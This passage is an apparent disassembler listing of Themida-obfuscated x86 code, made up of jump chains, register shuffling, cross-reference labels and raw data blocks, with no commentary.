		shr	eax, 0Bh
		xor	ecx, eax
		push	4A6Fh
		jmp	loc_55514B
; ---------------------------------------------------------------------------

loc_557B44:				; CODE XREF: Themida_:00553BEFj
		push	dword ptr [esp]
		pop	eax
		push	7466h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	1E74h
		mov	[esp], edi
		mov	edi, 251E5BD2h
		push	edi
		not	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, 5F916733h
		not	ecx
		jmp	loc_5535EF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815E2434h, 4C4h, 5A545200h, 4C281h, 0E9500000h, 0FFFFA656h
		dd 0E2C6814Eh, 0C15E245Ch, 0C68106EEh, 1D2E64C9h, 0FFF9E1E9h
		dd 43CD68FFh, 5EE90000h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_557BAF:				; CODE XREF: Themida_:00552741j
		xor	[esp], eax
		jmp	loc_555B42
; ---------------------------------------------------------------------------
		align 4
aVsv4		db 'х,`,+,┌ИV4',0
		align 4
		dd 66E98766h, 0E9316645h, 66CD3166h, 6866E931h,	89660293h
		dd 57532434h, 0FFC832E9h, 0C7815FFFh, 4, 2BD55h, 0EF010000h
		dd 8B2434FFh, 8951242Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 1A26E9h, 24148900h, 51E99C50h, 0FFFFFF97h, 34FF2434h
		dd 2434FF24h, 0E3895358h, 4C381h, 0BA520000h, 67D7704Fh
		dd 704BEA81h, 4AE967D7h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557C3B:				; CODE XREF: Themida_:00557436j
		neg	ecx
		shl	ecx, 7
		or	ecx, 52D63224h
		xor	ecx, 0F997D9E6h
		mov	ebp, ecx
		pop	ecx
		add	ebp, ecx
		pop	ecx
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 383ADDB7h
		sub	eax, ebp
		jmp	loc_55D345
; ---------------------------------------------------------------------------
		dd offset dword_51B448+20Ah
		db 0F3h
		dd 0E924148Bh, 0FFFFA113h
; ---------------------------------------------------------------------------

loc_557C74:				; CODE XREF: Themida_:00556576j
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 2
		push	ebx
		mov	ebx, 611879C0h
		add	ebp, ebx
		pop	ebx
		sub	ebp, offset word_530516
		add	ebp, eax
		jmp	loc_55B54C
; ---------------------------------------------------------------------------

loc_557C9B:				; CODE XREF: Themida_:0055B559j
		xor	eax, 3F8D0D72h
		sub	ebp, eax
		pop	eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_554079
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0E2h
		dd 578D833h, 20E50331h,	0F2E9D829h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_557CCB:				; CODE XREF: Themida_:0055B492j
		push	ebp
		mov	ebp, 3769075Eh
		add	ebp, 132E164Eh
		or	ebp, 70D4147Fh
		or	ebp, 14807E67h
		add	ebp, 81288005h
		mov	edx, ebp
		pop	ebp
		add	edi, edx
		pop	edx
		push	ebp
		jmp	loc_5558F0
; ---------------------------------------------------------------------------
		db 5Fh,	8Fh, 4
		dd 69E95C24h, 81FFFF96h, 0B77F44EDh, 2C335B3Fh,	242C3124h
		dd 5C242C33h, 240C8966h, 0C8B60F66h, 0FF9AA4E9h, 81DBF7FFh
		dd 1472B2C3h, 5BDF2996h, 0A337E95Dh, 5655FFFFh,	6003E468h
		dd 0DB89E969h, 48FFFFFh, 24048324h, 0FE9BE904h,	0C89FFFFh
		dd 0B101E924h, 9FBDFFFFh, 11350EDh, 0EAB5E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557D5A:				; CODE XREF: Themida_:00558456j
		pop	ebx
		add	ebx, 4
		jmp	loc_55476D
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0E9E18951h, 0FFFFECC4h, 8BC8295Fh, 0C481240Ch
		dd 4, 90D0D235h, 304289B5h, 0C39D6158h,	4AF3E9h, 74FF5500h
		dd 8F5D0424h, 32E92404h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_557D9F:				; CODE XREF: Themida_:0055A092j
		mov	edx, edi
		pop	edi
		jmp	loc_55BCC0
; ---------------------------------------------------------------------------
		db 0F7h
		dd 42C781D7h, 817BBCB2h, 75E093C7h, 0B90E913h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_557DBA:				; CODE XREF: Themida_:00552314j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_55271C
; ---------------------------------------------------------------------------
		dw 405h
		dd 68000000h, 55D2h, 0BD242C89h, 4, 16714305h, 0AC3DE94Dh
		dd 0D901FFFFh, 7556685Bh, 0C890000h, 27C5E924h,	0C7800000h
		dd 5BFE3029h, 0FFC824E9h, 0F7F781FFh, 0E9FFC4EFh, 35BDh
		dd 4C281h, 14870000h, 48F5C24h,	0AC5BE924h, 0C481FFFFh
		dd 4, 8704E983h, 895C240Ch, 0E6892434h,	0ADB8E953h, 77FFFFFFh
		dd 2434FF1Ch, 118D6858h, 14890000h, 164AE924h, 14330000h
		dd 4837E924h, 4200000h,	0D6E99C24h, 55FFFFCAh, 0E924048Bh
		dd 0FFFFFBC7h, 8704C583h, 0AEE9242Ch, 81FFFFBFh, 615EA2CFh
		dd 6EFC10Fh, 7C94CF81h,	0C781791Eh, 5FC24E85h, 0F781D7F7h
		dd 26FDB378h, 0EAE9F989h, 58FFFFEBh, 58244729h,	0EC83D231h
		dd 241C8904h, 669BD55h,	6C31231Fh, 2C8B0424h, 4C48324h
		dd 582434FFh, 5104C483h, 40D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_557EB9:				; CODE XREF: Themida_:005558EBj
		mov	bl, 4Bh
		mov	ch, bl
		pop	ebx
		jmp	loc_553C5B
; ---------------------------------------------------------------------------
		db 53h
		dd 0E5072A68h, 0C3815B66h, 588371B0h, 7EE9E3D1h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557ED7:				; CODE XREF: Themida_:0055C0D0j
		pop	eax
		jmp	loc_55859E
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 419589Dh, 7DE99C24h,	0FFFFFF94h, 40E92434h, 8BFFFFC1h
		dd 0E9F62424h, 0CCB60F66h, 1D6F6866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF9458h, 42474FFh, 24048F5Bh,	2BD1E9h
		dd 74FF5300h, 8F5B0424h, 248B2404h, 3EECE924h, 0C7810000h
		dd 4, 4BB53h, 0DF010000h, 2F08E9h, 0E9E58900h, 0FFFFE504h
		dd 0E93C77FFh, 0FFFFFCC7h, 427E94Eh, 81590000h,	197B22C1h
		dd 242C8B29h, 8904EC83h, 0E6892434h, 4C681h, 0C6830000h
		dd 24348704h, 124248Bh,	2434FFC8h, 81240C8Bh, 4C4h, 0D7E900h
		dd 0E9560000h, 0FFFFB8E2h, 0E9242C33h, 0FFFFAD64h, 60F2C181h
		dd 0F35D3F03h, 386203A5h, 0FFA6B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_557FA9:				; CODE XREF: Themida_:0055262Fj
		pop	ebx
		push	eax
		push	ebx
		mov	bl, 0C8h
		xor	bl, 74h
		shl	bl, 2
		shl	bl, 3
		shr	bl, 6
		sub	bl, 0E7h
		add	bl, 0C9h
		mov	al, bl
		jmp	loc_556F71
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C381CB01h, 2BDD2706h, 0C095E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_557FD6:				; CODE XREF: Themida_:00556627j
		sub	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_558E0C
; ---------------------------------------------------------------------------

loc_557FE3:				; CODE XREF: Themida_:0055BA8Ej
		add	esp, 4
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_551D68
; ---------------------------------------------------------------------------
		dd 0FF936FE9h, 75E95AFFh, 5C00002Fh, 0FFA172E9h, 0D80158FFh
		dd 0C266E95Bh, 0C981FFFFh, 4DA46309h, 0A3C18141h, 0E93D5E9Eh
		dd 0FFFFBA7Dh, 0E3B95153h, 896A7859h, 0F38159CBh, 31917015h
		dd 46ABC381h, 0E9566AADh, 492h,	83242C8Bh, 50E904C4h, 66FFFF97h
		dd 9C242CD3h, 18F1E9h, 24048100h, 4, 592434FFh,	0FFA2D6E9h
		dd 4C481FFh, 52000000h,	0C281E289h, 4, 4EA81h, 14870000h
		dd 2C895C24h, 0A7B85024h, 5674A156h, 3B63B2BEh,	14DE90Ch
		dd 0E9510000h, 0FFFFBB7Dh, 405E089h, 5000000h, 4, 5C240487h
		dd 54C5E281h, 64E95178h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5580AF:				; CODE XREF: Themida_:00554122j
		pop	edi
		add	esi, 73F426A4h
		not	esi
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4599639Fh
		or	edx, 53C50583h
		shl	edx, 3
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6FBAD529h
		sub	edx, ebp
		pop	ebp
		jmp	loc_55541F
; ---------------------------------------------------------------------------

loc_5580E7:				; CODE XREF: Themida_:00555589j
		push	ecx
		mov	ecx, 82C85399h
		add	esi, ecx
		pop	ecx
		sub	eax, esi
		pop	esi
		jmp	loc_556D23
; ---------------------------------------------------------------------------
aYh		db 'Yh©(',0
		align 2
		dw 2C89h
		dd 81E58924h, 4C5h, 0E9555000h,	0FFFFB2FEh
; ---------------------------------------------------------------------------

loc_558110:				; CODE XREF: Themida_:00559570j
		xchg	ebp, [esp]
		pop	esp
		add	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_558E3F
; ---------------------------------------------------------------------------
		dd 240C335Dh, 0A09E9h, 0BA525B00h, 8753AB3h, 8BE9D501h
		dd 0BDFFFFF9h, 4, 2E55E9h
		db 0
; ---------------------------------------------------------------------------

loc_558149:				; CODE XREF: Themida_:00556185j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556646
; ---------------------------------------------------------------------------
		dw 0FD89h
		dd 0FF9A3DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558159:				; CODE XREF: Themida_:00559FBDj
		add	edx, ebx
		pop	ebx
		jmp	loc_551368
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 68241C89h, 5602689Bh, 83241C8Bh, 0EB8104C4h,	1FA67CF5h
		dd 0FF9569E9h, 5DEB01FFh, 25C56859h, 2C890000h,	9E2E924h
		dd 3C8B0000h, 4C48324h,	0FF91CFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558199:				; CODE XREF: Themida_:005591C5j
		pop	ecx
		add	ch, al
		jmp	loc_554D57
; ---------------------------------------------------------------------------
		db 5, 5Ch, 6Ch
		dd 0E0C12577h, 9A1EE908h, 3C87FFFFh, 0F4E95C24h, 1FFFF99h
		dd 7E122DE8h, 0E95D5335h, 0FFFFB4A1h
; ---------------------------------------------------------------------------

loc_5581C4:				; CODE XREF: Themida_:00557751j
		mov	[esp], edx
		push	43B7F00h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_55611F
; ---------------------------------------------------------------------------
		db 81h
		dd 0EE081BEEh, 0DAC68162h, 0C15C6D4Bh, 0EE8102E6h, 19FB11E5h
		dd 0A812C681h, 68E91552h, 68FFFFEFh, 38A16E83h,	0FF9484E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558205:				; CODE XREF: Themida_:00559CB1j
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	edx
		jmp	loc_55B048
; ---------------------------------------------------------------------------
		dd 0B60FE981h, 0C801EF78h, 4C08359h, 0FF9687E9h, 18E957FFh
		db 0B9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55823B:				; CODE XREF: Themida_:0055B929j
		mov	esi, 4A573B00h
		shr	esi, 8
		xor	esi, offset byte_4A573F
		mov	ecx, esi
		jmp	loc_553921
; ---------------------------------------------------------------------------
		dd 0E9E08950h, 0FFFFFB6Eh, 582434FFh, 0E9E08950h, 0FFFFE692h
		dd 0C8BCE29h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55956D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	148704C2h, 54575C24h, 81243C8Bh
		dd 4C4h, 0FC98E900h, 30B2FFFFh,	0E971E280h, 0FFFFE496h
		dd 19C468h, 0E75EE900h,	0E3C1FFFFh, 95E38106h, 517C1E05h
		dd 58AE9h, 66576600h, 665895BFh, 5F66F901h, 0FFF8FBE9h
		dd 305A66FFh, 69E958C3h, 56FFFFE8h, 97076FBEh, 126BE941h
		dd 8B660000h, 78E9240Ch, 81000021h, 4C4h, 5B95100h, 8105522Dh
		dd 0C7337F1h, 4E1C11Dh,	1146C981h, 0C18164C5h, 0FFFFFFFFh
		dd 0F367BB53h, 0D931E5E5h, 59CA015Bh, 5C241487h, 0FFA8C3E9h
		dd 0E78957FFh, 92F8E956h, 0F181FFFFh, 7B9A6156h, 68F9015Ah
		dd 71D3h, 83242C89h, 48904ECh, 5819B824h, 6C815917h, 22F50424h
		dd 44291501h, 44810424h, 22F50424h, 8F581501h, 19018101h
		dd 0E9591758h, 5018h, 24148B66h, 2C481h, 0F8280000h, 774E95Bh
		dd 0C5860000h, 0FFEA0AE9h, 0DAEE81FFh, 89DCBEA7h, 7DE95EF7h
		dd 0AC000025h, 0D8286104h, 31E95166h, 89000040h, 0CFBE2434h
		dd 810EC84Eh, 4208D6EDh, 81F5294Ah, 4208D6C5h, 0DFF8E94Ah
		dd 685BFFFFh, 0CD2h, 0FF9FCFE9h, 3312DFFh, 535B20E5h, 0B53ECDBBh
		dd 5BDA2975h, 0FAE9C201h, 8BFFFFC7h, 89572424h,	4C781E7h
		dd 83000000h, 3C8704C7h, 34FF5C24h, 4A685824h, 89000002h
		dd 0B6682404h, 89000055h, 0EC832424h, 0AF30E904h, 431FFFFh
		dd 8F5EE924h, 815DFFFFh, 4C4h, 24048F00h, 0E924248Bh, 0FFFFF5C3h
		dd 4BAh, 5AD30100h, 0E904EB83h,	0FFFFA25Fh, 4B05E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558432:				; CODE XREF: Themida_:005547B3j
		pop	ecx

loc_558433:				; CODE XREF: Themida_:005574F7j
		push	edi
		mov	edi, ebx
		sub	esp, 4
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_557D5A
; ---------------------------------------------------------------------------

loc_55845B:				; CODE XREF: Themida_:00556E8Bj
		sub	bh, cl
		pop	ecx
		add	bh, 2Fh
		jmp	loc_55B583
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8B243C87h, 85662424h, 0EDE99CC8h,	33FFFF8Eh, 248B2434h
		dd 9CC88424h, 0FF8EDFE9h, 240487FFh, 2434FF5Ch,	4867E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_558496:				; CODE XREF: Themida_:0055667Bj
		shl	edi, 2
		add	edi, 0FFFFFFFFh
		sub	edi, 0A73E818Dh
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_559CF5
; ---------------------------------------------------------------------------

loc_5584B2:				; CODE XREF: Themida_:00556BAFj
		pop	edx
		add	esi, eax
		pop	eax
		jmp	loc_553A0F
; ---------------------------------------------------------------------------
		db 81h
		dd 8FBFFEC6h, 9BB2E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5584C6:				; CODE XREF: Themida_:0055574Cj
		mov	[esp], edx
		jmp	loc_55BF65
; ---------------------------------------------------------------------------
		dw 0BCBEh
		dd 81745154h, 0A73AAEEEh, 69EE813Bh, 317213A9h,	0DA015EF3h
		dd 0FFE62DE9h, 0C0CAFEFFh, 0CAFE04E2h, 0E983C280h, 0FFFFA173h
		dd 24048B66h, 2C2B68h, 24048900h, 28BFE9h, 3DDB0500h, 8EE93844h
		dd 0F7FFFFFCh, 0D7F797D0h, 465DEF81h, 0FA010825h, 83243C8Bh
		dd 0C28104C4h, 23C31CCAh, 0FFB4A5E9h, 0CD2DADFFh, 2D3A6B46h
		dd 63FA7D78h, 0EC81D829h, 4, 0FFD247E9h, 243489FFh, 0A87DE9BEh
		dd 686Fh, 34290000h, 0EEC15E24h, 4E6C106h, 0C7C4F681h
		dd 0F02921C6h, 8DFAE95Eh, 1C89FFFFh, 5D40BB24h,	0E95332C3h
		dd 0FFFFB3EBh, 0E9535D54h, 0FFFFF299h, 3839B668h, 0C2815A18h
		dd 0E7C7C64Eh, 15AD789h, 5F04247Ch, 3E1CE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55859E:				; CODE XREF: Themida_:00557ED8j
		pop	dword ptr [esp]
		jmp	loc_55B227
; ---------------------------------------------------------------------------
		dw 0F729h
		dd 5FFA895Eh, 394EE9h
		db 0
; ---------------------------------------------------------------------------

loc_5585B1:				; CODE XREF: Themida_:00554800j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_555C8D
; ---------------------------------------------------------------------------
		db 5Fh,	8Bh, 14h
		dd 4C48124h, 9000000h, 0CEE95FFEh, 68000012h, 6D6Ah, 89241489h
		dd 4EC83E2h, 0BF243C89h, 4F2117DDh, 2939E9h, 24043100h
		dd 8B240433h, 89662424h, 65E92404h, 58FFFF8Dh, 8B24048Fh
		dd 0BE0F2424h, 58BA68C8h, 0C890000h, 8D4EE924h,	48FFFFFh
		dd 24248B24h, 33B7E9h
		db 0
; ---------------------------------------------------------------------------

loc_558625:				; CODE XREF: Themida_:00558CB6j
		pop	ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edi
		jmp	loc_557562
; ---------------------------------------------------------------------------

loc_558640:				; CODE XREF: Themida_:0055AF59j
		push	edi
		mov	edi, 1C3F5636h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55BE04
; ---------------------------------------------------------------------------

loc_558656:				; CODE XREF: Themida_:0055BFD6j
		mov	ebp, 313C45BFh
		neg	ebp
		shl	ebp, 1
		neg	ebp
		shl	ebp, 5
		xor	ebp, 28267626h
		jmp	loc_55B811
; ---------------------------------------------------------------------------
		db 83h
		dd 0F18104C4h, 7D8E0220h, 0DA5B2D2Dh, 53C82923h, 0DA5B2DBBh
		dd 0E9D80123h, 0C7Bh, 534BFAB8h, 58C63117h, 0E95EF029h
		dd 4574h
; ---------------------------------------------------------------------------

loc_55869C:				; CODE XREF: Themida_:00559CC1j
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	17C9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55A919
; ---------------------------------------------------------------------------
aFlSH		db 'f▀<$ИдH',0
		align 4
		dd 2414895Ch, 0C281E289h, 4, 2B850h, 0C2010000h, 1207E9h
		dd 58C32900h, 0C381C301h, 51C748D6h, 29DCE9h, 48B6600h
		dd 4EC8124h, 89000000h,	5B54241Ch, 698868h, 24148900h
		dd 161133BAh, 7EAC149h,	2746BF57h, 0EFC11119h, 0E970E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55872E:				; CODE XREF: Themida_:00556AE7j
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_55A9FC
; ---------------------------------------------------------------------------
		db 1
		dd 4DB850F3h, 0E910FB68h, 0FFFFAEE4h, 24048B66h, 0FF9501E9h
		dd 0E08950FFh, 405h, 0D1E95200h, 0C1FFFFDEh, 0FDE908E5h
		dd 5500003Dh, 0FC59FEBDh, 5DEF014Bh, 0FFCD94E9h, 0B25258FFh
		dd 8EA807Dh, 285AD328h,	75C380C3h, 0FF6EB80h, 48DC0B6h
		dd 9E63E987h, 0D5BDFFFFh, 0F759636Ah, 0BB5350D5h, 4D1C7CA1h
		dd 0C15BD889h, 0A5E902E8h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5587A7:				; CODE XREF: Themida_:00558FEBj
		add	dword ptr [esp], 7CBD1498h
		pop	esi
		jmp	loc_55411C
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 1CD35966h, 0A5E99C24h, 88FFFF8Bh,	0FE5B66D8h
		dd 0E9C0FEC8h, 3D2Bh, 24048B66h, 0C8B5451h, 4C48324h, 46853h
		dd 0E95B0000h, 45D1h, 0F72EC681h, 0F001CEC9h, 0DB05595Eh
		dd 2905E744h, 0ED35E9D8h, 0E068FFFFh, 8900003Eh, 59E92414h
		dd 0AD00003Fh, 0FF9F75E9h, 475568FFh, 348B5EEAh, 4C48324h
		dd 4D80BF57h, 0E94F3048h, 0FFFFF57Fh, 5C242C87h, 9C240CFEh
		dd 0FF8B33E9h, 4C381FFh, 83000000h, 62E904EBh, 0B9FFFFE4h
		dd 3E0D4406h, 0C107E9C1h, 0C9E908E1h, 8B000009h, 4DE92404h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55885B:				; CODE XREF: Themida_:00559E12j
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebx
		jmp	loc_55D416
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 691C0504h, 0F8016F24h, 24691C2Dh, 0B5BB536Fh, 0C163D51Fh
		dd 0EBC104E3h, 0BFF3E908h, 0F681FFFFh, 6BA52A75h, 6EB9B850h
		dd 0C6216C1Ch, 7CC68158h, 0E9F3E7BBh, 4475h, 5224048Bh
		dd 32E9E289h, 35FFFFE5h, 13AB051Fh, 0E958C621h,	545h, 0DC619468h
		dd 0D1415918h, 0D6F181E1h, 8931B8C0h, 240C8BCBh, 5204C483h
		dd 6D38F968h, 0C2815A49h, 51AD495Ah, 0D29B951h,	0C4E9492Fh
		dd 81FFFFB7h, 50CAEF3h,	5BDF2959h, 0FFE403E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5588F9:				; CODE XREF: Themida_:00551A7Cj
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_55A209
; ---------------------------------------------------------------------------

loc_55890A:				; CODE XREF: Themida_:00552978j
		pop	ebp
		pop	esi
		jmp	loc_55AA05
; ---------------------------------------------------------------------------
		db 0F7h, 0D9h, 81h
		dd 2D0297E9h, 7C18120h,	0E99E66AAh, 0FFFFAA1Ch,	54644968h
		dd 0E1C1591Fh, 0E9814902h, 5B986ED9h, 0C159CA89h, 0C28105EAh
		dd 2903735Dh, 0E92F62BFh, 0AC59E944h, 0C681FFFFh, 18EB3398h
		dd 0EC83FE29h, 207DE904h, 0F2810000h, 43074422h, 8BAEB81h
		dd 0D32938B9h, 337CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55896D:				; CODE XREF: Themida_:00555F4Aj
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	468Eh
		jmp	loc_559D13
; ---------------------------------------------------------------------------
		dd 0E9E68956h, 0FFFF9FAFh, 75C0BE56h, 0F0014805h, 2DE8015Eh
		dd 480575C0h, 5D2434FFh, 57E38953h, 4BFh, 0E6C38100h, 15A4820h
		dd 0AC2AE9FBh, 8B66FFFFh, 0FCE9240Ch, 68FFFFB2h, 64D9h
		dd 53243C89h, 2BBh, 5BDF8900h, 40A3E9h,	0F7814700h, 144B0A03h
		dd 0F29AEF81h, 0EB81ABC0h, 68CF7032h, 0C381FB01h, 68CF7032h
		dd 17C3815Fh, 0E924D895h, 0FFFFADA7h, 0C12CE81h, 7FE9642Ah
		dd 56FFFFFEh, 356D44BEh, 3CD8E965h, 0C1810000h,	0BAED91D7h
		dd 6E9C831h, 8B000034h,	8957241Ch, 4C781E7h, 83000000h
		dd 3C8704C7h, 0C3815C24h, 4, 3F02E9h, 94BA5200h, 8145B166h
		dd 7850CDF2h, 6EAC138h,	5A5AB951h, 0CA092ECAh, 0FFC44AE9h
		dd 5BD820FFh, 300FB353h, 0EF93E9D8h, 5BB1FFFFh,	0C180D1F6h
		dd 0C4F2E9ADh, 0C381FFFFh, 27BE0177h, 0D3EB814Bh, 1F15ECDh
		dd 0C7815BDFh, 4, 8B243C87h, 8B662424h,	57512414h, 0FF94F8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558A9D:				; CODE XREF: Themida_:0055AAE9j
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	esi
		jmp	loc_559538
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 8324148Bh, 96E904C4h, 5C00000Ah, 2EC835Bh, 241C8966h
		dd 3DB75350h, 0F691EF80h, 26A5E9D7h, 0E9410000h, 0FFFFDD04h
		dd 4BDh, 117AE900h, 0EB800000h,	0A5B05078h, 0FFA77CE9h
		dd 664166FFh, 0AC97E981h, 59CD2166h, 66D5F766h,	9FB86650h
		dd 0C5016646h, 3FE95866h, 5600001Ah, 0FFE0E2E9h, 242489FFh
		dd 0FFE7B8E9h, 0E9E204FFh, 949h, 28DEB850h, 0BC2D427Ah
		dd 2907E7F8h, 3AB1E9C7h, 0C310000h, 240C3324h, 0FFC324E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_558B45:				; CODE XREF: Themida_:0055563Cj
		and	eax, edx
		pop	edx
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	ebp
		push	esp
		jmp	loc_556BE6
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFFC821h, 242C8B54h, 8104C483h, 4C5h, 4BB5300h, 0E9000000h
		dd 0FFFFBDFDh, 24048B66h, 3A6668h, 9155E900h, 0F328FFFFh
		dd 0E924148Bh, 2638h
; ---------------------------------------------------------------------------

loc_558BA0:				; CODE XREF: Themida_:00552B00j
		and	esi, 449B7852h
		xor	esi, 46A009B6h
		sub	ebx, esi
		jmp	loc_555932
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 59E82804h, 0FFBCF4E9h, 243C87FFh, 0E189515Ch
		dd 4C181h, 0C1830000h, 240C8704h, 8124248Bh, 4C4h, 0FC90B00h
		dd 0FFEEEA84h, 4EC81FFh, 83000000h, 348904ECh, 81E68924h
		dd 4C6h, 4EE8300h, 0FFD64FE9h, 0E9028FFFh, 0FFFF8760h
		dd 4BEh, 5EF30100h, 5C241C87h, 16BF68h,	242C8900h, 0BB535D54h
		dd 309D3D23h, 3D1FEB81h, 0DD01309Dh, 4C5835Bh, 4EC81h
		dd 2C890000h, 2474FF24h, 48F5D04h, 50E95C24h, 89000028h
		dd 0CFBB241Ch, 3167181Dh, 0F4DBE9DDh, 0D187FFFFh, 457FE9h
		db 0
; ---------------------------------------------------------------------------

loc_558C5D:				; CODE XREF: Themida_:00556940j
		push	esp
		jmp	loc_55CCE2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 4C48324h, 0FF8778E9h, 565152FFh, 67BB68h
		dd 241C8900h, 0B2323068h, 0E94B5B6Ah, 0FFFFB5C2h
; ---------------------------------------------------------------------------

loc_558C88:				; CODE XREF: Themida_:005542ABj
		mov	esp, [esp]
		and	eax, edx
		pop	edx
		jmp	loc_553A37
; ---------------------------------------------------------------------------
		db 83h
		dd 0B4E904C4h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558C9B:				; CODE XREF: Themida_:005556AFj
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 70A7400Ch
		sub	[esp+4], ecx
		jmp	loc_558625
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0B351E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_558CC6:				; CODE XREF: Themida_:0055BA86j
		push	edi
		mov	edi, 781F252Dh
		mov	ebx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D007
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BA241489h, 60D164Ah, 0C15AD729h,	0C78108EFh, 0FF2EC787h
		dd 4433ED81h, 0D9E94AA1h, 0AC000037h, 0E9B6B353h, 26B2h
		dd 1438E95Dh, 0EC830000h, 241C8904h, 0C381E389h, 4, 8D968h
		dd 240C8900h, 0B0193C68h, 4633E942h, 0C5830000h, 242C8704h
		dd 0C5ACE95Ch, 6659FFFFh, 0C5E95552h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_558D43:				; CODE XREF: Themida_:00558E3Aj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
